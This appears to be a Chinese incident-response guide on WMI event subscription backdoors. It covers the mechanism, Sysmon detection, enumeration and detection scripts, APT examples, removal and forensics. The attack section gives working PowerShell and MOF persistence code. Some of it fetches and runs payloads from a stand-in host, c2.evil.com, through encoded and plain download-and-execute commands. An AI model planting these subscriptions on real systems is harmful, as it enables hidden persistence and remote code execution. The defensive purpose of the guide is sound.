Windows应急响应/21-WMI事件订阅后门 tags:: #Windows应急响应 #持久化 #WMI #EventSubscription #Backdoor category:: 持久化与后门检测 difficulty:: 高级 platform:: Windows 7/10/11, Server 2012-2022
概述 WMI Event Subscription是Windows中最隐蔽的持久化机制之一
利用WMI的事件订阅系统,在特定事件触发时自动执行恶意代码
MITRE ATT&CK: T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription
无文件落地、无注册表Run Key、无计划任务——传统检查方法容易遗漏
曾被APT29、APT28、Turla等多个APT组织在实际攻击中使用
参考: 08-计划任务与服务审计 中WMI相关审计基础
一、WMI事件订阅核心概念 1.1 三元组 (Trifecta) WMI持久化由三个组件构成,缺一不可:
__EventFilter — 事件过滤器
定义触发条件(WQL查询)
例如: 系统启动、进程创建、用户登录、定时间隔等
__EventConsumer — 事件消费者
定义触发后执行的操作
主要类型:
CommandLineEventConsumer — 执行命令行
ActiveScriptEventConsumer — 执行VBScript/JScript
LogFileEventConsumer — 写入日志文件
NTEventLogEventConsumer — 写入事件日志
SMTPEventConsumer — 发送邮件
__FilterToConsumerBinding — 绑定关系
将Filter和Consumer关联起来
没有Binding,Filter和Consumer各自存在但不会触发
1.2 WMI存储位置 WMI数据存储在CIM Repository中:
1 2 3 4 5 6 C:\Windows\System32\wbem\Repository\ MAPPING1.MAP MAPPING2.MAP MAPPING3.MAP OBJECTS.DATA INDEX.BTR
这些是二进制文件,不能直接查看
但可以通过WMI API/PowerShell查询
1.3 WQL查询语言 WMI Query Language (WQL) 类似SQL,用于定义事件过滤条件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 120 AND TargetInstance.SystemUpTime < 180 SELECT * FROM __TimerEvent WHERE TimerID = 'PayloadTimer' SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe' SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstance ISA 'Win32_LogonSession' AND TargetInstance.LogonType = 2
二、攻击手法详解 2.1 CommandLineEventConsumer后门 最常见的WMI持久化方式——执行命令行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 $filterArgs = @ { EventNamespace = 'root/cimv2' Name = 'WindowsUpdateFilter' Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 120 AND TargetInstance.SystemUpTime < 180" QueryLanguage = 'WQL' } $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $filterArgs $consumerArgs = @ { Name = 'WindowsUpdateConsumer' CommandLineTemplate = "powershell.exe -w hidden -nop -enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwBJAEUAWAAoACQAYwAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwBjADIALgBlAHYAaQBsAC4AYwBvAG0ALwBzAHQAYQBnAGUAcgAnACkAKQA=" } $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $consumerArgs $bindingArgs = @ { Filter = $filter Consumer = $consumer } Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $bindingArgs
2.2 ActiveScriptEventConsumer后门 使用VBScript/JScript执行,更灵活:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @ { EventNamespace = 'root/cimv2' Name = 'ProcessMonitorFilter' Query = "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'" QueryLanguage = 'WQL' } $consumer = Set-WmiInstance -Namespace root/subscription -Class ActiveScriptEventConsumer -Arguments @ { Name = 'ProcessMonitorConsumer' ScriptingEngine = 'VBScript' ScriptText = @' Set objShell = CreateObject("WScript.Shell") objShell.Run "powershell.exe -w hidden -nop -c ""IEX(New-Object Net.WebClient).DownloadString('http://c2.evil.com/payload')""", 0, False '@ } Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @ { Filter = $filter Consumer = $consumer }
注意: ActiveScriptEventConsumer在Windows 10某些版本已被限制
但在Server版本和旧版Windows上仍然可用
2.3 MOF文件编译持久化 Managed Object Format (MOF) 文件可以定义WMI类和实例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 #pragma namespace("\\\\.\\root\\subscription" ) instance of __EventFilter as $Filter { EventNamespace = "root\\cimv2" ; Name = "SystemFilter" ; Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 " "WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' " "AND TargetInstance.SystemUpTime >= 120 " "AND TargetInstance.SystemUpTime < 180" ; QueryLanguage = "WQL" ; }; instance of CommandLineEventConsumer as $Consumer { Name = "SystemConsumer" ; RunInteractively = false ; CommandLineTemplate = "cmd.exe /c C:\\Users\\Public\\payload.exe" ; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $Filter; };
编译MOF文件:
MOF编译后直接写入CIM Repository
旧版Windows有AutoRecover MOF功能:
1 C :\Windows\System32\wbem\mof\ (放在此目录自动编译)
2.4 定时器触发(Interval Timer) 使用WMI定时器实现周期执行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Set-WmiInstance -Namespace root/cimv2 -Class __IntervalTimerInstruction -Arguments @ { IntervalBetweenEvents = 300000 TimerID = 'PayloadTimer' SkipIfPassed = $false } $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @ { EventNamespace = 'root/cimv2' Name = 'TimerFilter' Query = "SELECT * FROM __TimerEvent WHERE TimerID = 'PayloadTimer'" QueryLanguage = 'WQL' }
三、Sysmon事件检测 3.1 Sysmon WMI事件类型 Sysmon提供专用的WMI事件监控:
Event ID 19 : WmiEventFilter activity detected
记录__EventFilter的创建
Event ID 20 : WmiEventConsumer activity detected
记录__EventConsumer的创建
Event ID 21 : WmiEventConsumerToFilter activity detected
记录__FilterToConsumerBinding的创建
3.2 Sysmon配置 启用WMI事件监控的Sysmon配置:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <Sysmon schemaversion ="4.70" > <EventFiltering > <WmiEvent onmatch ="include" > <Operation condition ="is" > Created</Operation > </WmiEvent > <WmiEvent onmatch ="include" > <Operation condition ="is" > Modified</Operation > </WmiEvent > <WmiEvent onmatch ="include" > <Operation condition ="is" > Deleted</Operation > </WmiEvent > </EventFiltering > </Sysmon >
3.3 查询Sysmon WMI事件 查询所有WMI持久化相关事件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 Get-WinEvent -FilterHashtable @ { LogName = 'Microsoft-Windows-Sysmon/Operational' Id = 19 , 20 , 21 } | ForEach-Object { $xml = [xml ]$_ .ToXml() [PSCustomObject ]@ { TimeCreated = $_ .TimeCreated EventID = $_ .Id EventType = switch ($_ .Id) { 19 { "EventFilter" } 20 { "EventConsumer" } 21 { "FilterToConsumerBinding" } } Operation = ($xml .Event.EventData.Data | Where-Object { $_ .Name -eq 'Operation' }).'#text' Name = ($xml .Event.EventData.Data | Where-Object { $_ .Name -eq 'Name' }).'#text' User = ($xml .Event.EventData.Data | Where-Object { $_ .Name -eq 'User' }).'#text' } } | Format-Table -AutoSize
四、PowerShell检测与枚举 4.1 枚举所有WMI订阅 完整的WMI事件订阅检查脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 Write-Host "=== WMI Event Subscription Audit ===" -ForegroundColor CyanWrite-Host "`n[1] Event Filters:" -ForegroundColor YellowGet-WmiObject -Namespace root/subscription -Class __EventFilter | ForEach-Object { Write-Host " Name: $ ($_ .Name)" -ForegroundColor White Write-Host " Query: $ ($_ .Query)" -ForegroundColor Gray Write-Host " EventNamespace: $ ($_ .EventNamespace)" Write-Host " Creator: $ ($_ .CreatorSID)" -ForegroundColor Gray } Write-Host "`n[2] Event Consumers:" -ForegroundColor YellowGet-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer | ForEach-Object { Write-Host " [CMD] $ ($_ .Name)" -ForegroundColor Red Write-Host " CommandLine: $ ($_ .CommandLineTemplate)" -ForegroundColor Yellow Write-Host " WorkingDir: $ ($_ .WorkingDirectory)" } Get-WmiObject -Namespace root/subscription -Class ActiveScriptEventConsumer | ForEach-Object { Write-Host " [SCRIPT] $ ($_ .Name)" -ForegroundColor Red Write-Host " Engine: $ ($_ .ScriptingEngine)" Write-Host " Script: $ ($_ .ScriptText)" -ForegroundColor Yellow } Get-WmiObject -Namespace root/subscription -Class LogFileEventConsumer | ForEach-Object { Write-Host " [LOG] $ ($_ .Name)" -ForegroundColor Magenta Write-Host " Filename: $ ($_ .Filename)" Write-Host " Text: $ ($_ .Text)" } Write-Host "`n[3] Filter-to-Consumer Bindings:" -ForegroundColor YellowGet-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding | ForEach-Object { Write-Host " Filter: $ ($_ .Filter)" -ForegroundColor Gray Write-Host " Consumer: $ ($_ .Consumer)" -ForegroundColor Gray Write-Host " ---" }
4.2 CIM Cmdlet替代方案 在PowerShell 3.0+使用CIM Cmdlet(更现代的API):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 Get-CimInstance -Namespace root/subscription -ClassName __EventFilterGet-CimInstance -Namespace root/subscription -ClassName __EventConsumerGet-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBindingGet-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding | ForEach-Object { $filterRef = $_ .Filter $consumerRef = $_ .Consumer Write-Host "Binding:" -ForegroundColor Cyan Write-Host " Filter: $ ($filterRef .Name) -> $ ($filterRef .Query)" Write-Host " Consumer: $ ($consumerRef .Name)" if ($consumerRef .CimClass.CimClassName -eq 'CommandLineEventConsumer' ) { Write-Host " [!] CommandLine: $ ($consumerRef .CommandLineTemplate)" -ForegroundColor Red } elseif ($consumerRef .CimClass.CimClassName -eq 'ActiveScriptEventConsumer' ) { Write-Host " [!] Script ($ ($consumerRef .ScriptingEngine)):" -ForegroundColor Red Write-Host " $ ($consumerRef .ScriptText)" -ForegroundColor Yellow } }
4.3 WMIC命令行检查 如果PowerShell受限,可以使用WMIC:
1 2 3 4 wmic /namespace:\\root\subscription PATH __EventFilter GET Name, Query /FORMAT :LIST wmic /namespace:\\root\subscription PATH CommandLineEventConsumer GET Name, CommandLineTemplate /FORMAT :LIST wmic /namespace:\\root\subscription PATH ActiveScriptEventConsumer GET Name, ScriptingEngine, ScriptText /FORMAT :LIST wmic /namespace:\\root\subscription PATH __FilterToConsumerBinding GET Filter, Consumer /FORMAT :LIST
注意: WMIC在新版Windows中已被标记为deprecated
4.4 自动化威胁检测脚本 综合检测脚本,自动识别可疑WMI订阅:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 function Detect-SuspiciousWMISubscription { $suspicious = @ () Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -ErrorAction SilentlyContinue | ForEach-Object { $cmd = $_ .CommandLineTemplate $flags = @ () if ($cmd -match "(?i)(powershell|cmd\.exe|mshta|regsvr32|rundll32|wscript|cscript)" ) { $flags += "LOLBIN" } if ($cmd -match "(?i)(-enc|-encodedcommand|frombase64|base64)" ) { $flags += "ENCODED" } if ($cmd -match "(?i)(http|https|ftp)://" ) { $flags += "REMOTE" } if ($cmd -match "(?i)(downloadstring|downloadfile|invoke-expression|iex)" ) { $flags += "DOWNLOAD_EXEC" } if ($flags .Count -gt 0 ) { $suspicious += [PSCustomObject ]@ { Type = "CommandLineConsumer" Name = $_ .Name Content = $cmd Flags = ($flags -join ", " ) } } } Get-WmiObject -Namespace root/subscription -Class ActiveScriptEventConsumer -ErrorAction SilentlyContinue | ForEach-Object { $suspicious += [PSCustomObject ]@ { Type = "ActiveScriptConsumer" Name = $_ .Name Content = "$ ($_ .ScriptingEngine): $ ($_ .ScriptText.Substring(0, [Math]::Min(200, $_ .ScriptText.Length)))" Flags = "SCRIPT_EXECUTION" } } if ($suspicious .Count -gt 0 ) { Write-Host "[!] Suspicious WMI Subscriptions Found:" -ForegroundColor Red $suspicious | Format-Table -AutoSize -Wrap } else { Write-Host "[+] No suspicious WMI subscriptions detected." -ForegroundColor Green } return $suspicious } Detect-SuspiciousWMISubscription
五、真实APT案例 5.1 APT29 — POSHSPY后门 APT29使用WMI事件订阅部署PowerShell后门:
1 2 3 4 5 6 7 Filter Name: BVTFilter Query: SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 300 AND TargetInstance.SystemUpTime < 400 Consumer: CommandLineEventConsumerCommand: powershell.exe - nop - w hidden - c "IEX([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String((Get-ItemProperty -Path HKLM:\S OFTWARE\M icrosoft\< path>).<value>)))"
注意: payload存储在注册表中,WMI只负责触发读取和执行
这种分离式设计增加了检测难度
5.2 Turla — Carbon后门 Turla组织使用WMI实现定时执行:
1 2 Filter: 每隔1 小时检查一次Consumer: 执行位于 %APPDATA% 下的加密配置文件
结合文件系统中的加密payload和WMI触发器
5.3 Lazarus Group 使用ActiveScriptEventConsumer执行混淆的JScript:
1 2 3 Consumer Type : ActiveScriptEventConsumer Engine : JScript Script : 高度混淆的JS代码,最终下载并执行第二阶段payload
六、清除与修复 6.1 删除恶意WMI订阅 必须按顺序删除: Binding -> Consumer -> Filter
PowerShell删除:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding | Where-Object { $_ .Filter -like '*WindowsUpdateFilter*' } | Remove-WmiObject Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer | Where-Object { $_ .Name -eq 'WindowsUpdateConsumer' } | Remove-WmiObject Get-WmiObject -Namespace root/subscription -Class __EventFilter | Where-Object { $_ .Name -eq 'WindowsUpdateFilter' } | Remove-WmiObject
CIM方式(推荐):
1 2 3 4 5 6 7 8 9 10 11 12 Get-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding | Where-Object { $_ .Filter.Name -eq 'WindowsUpdateFilter' } | Remove-CimInstance Get-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer | Where-Object { $_ .Name -eq 'WindowsUpdateConsumer' } | Remove-CimInstance Get-CimInstance -Namespace root/subscription -ClassName __EventFilter | Where-Object { $_ .Name -eq 'WindowsUpdateFilter' } | Remove-CimInstance
6.2 批量清除所有非系统WMI订阅 在确认环境中没有合法WMI订阅的情况下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Write-Host "[!] Removing ALL WMI Event Subscriptions..." -ForegroundColor RedGet-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding -ErrorAction SilentlyContinue | Remove-WmiObject -ErrorAction SilentlyContinue Get-WmiObject -Namespace root/subscription -Class __EventConsumer -ErrorAction SilentlyContinue | Remove-WmiObject -ErrorAction SilentlyContinue Get-WmiObject -Namespace root/subscription -Class __EventFilter -ErrorAction SilentlyContinue | Remove-WmiObject -ErrorAction SilentlyContinue Write-Host "[+] All subscriptions removed." -ForegroundColor Green
6.3 WMI Repository重建(核弹选项) 如果WMI Repository严重受损或需要彻底清理:
1 2 3 4 5 6 7 8 9 10 11 :: 停止WMI服务 net stop winmgmt /y:: 备份Repository rename C:\Windows\System32\wbem\Repository Repository.bak:: 重启WMI服务(会自动重建Repository) net start winmgmt:: 重新编译MOF文件恢复系统类 for %f in (C:\Windows\System32\wbem\*.mof) do mofcomp "%f"
警告 : 这会丢失所有自定义WMI数据,仅在极端情况下使用
七、取证分析 7.1 离线分析CIM Repository 使用python-cim工具解析离线Repository:
1 2 :: 复制Repository文件 copy C:\Windows\System32\wbem\Repository\* evidence\wmi_repo\
使用PyWMIPersistenceFinder:
1 python PyWMIPersistenceFinder.py evidence\wmi_repo\OBJECTS.DATA
这在分析内存镜像或离线磁盘时特别有用
7.2 时间线关联 WMI订阅的创建时间可以通过以下方式确定:
Sysmon Event 19/20/21的时间戳
OBJECTS.DATA文件的修改时间
与其他持久化机制的时间线交叉比对
关联检查:
触发时间点是否有网络连接事件
Consumer执行的命令是否有对应的进程创建事件
八、关联检查 WMI事件订阅后门应与以下内容关联分析:
08-计划任务与服务审计 — WMI审计基础
23-COM劫持 — WMI订阅可能触发COM对象
18-Registry-Run后门 — payload可能存储在注册表中
19-计划任务后门 — 多种持久化机制并用
20-Windows服务后门 — 同时检查服务后门
九、应急响应Checklist [ ] 枚举所有 __EventFilter 实例
[ ] 枚举所有 CommandLineEventConsumer 实例
[ ] 枚举所有 ActiveScriptEventConsumer 实例
[ ] 枚举所有 __FilterToConsumerBinding 实例
[ ] 检查Sysmon Event ID 19/20/21
[ ] 检查Consumer中的命令行是否包含编码/混淆
[ ] 检查MOF文件 (C:\Windows\System32\wbem\mof\)
[ ] 收集CIM Repository文件作为证据
[ ] 按顺序删除恶意Binding -> Consumer -> Filter
[ ] 验证删除后WMI订阅已清空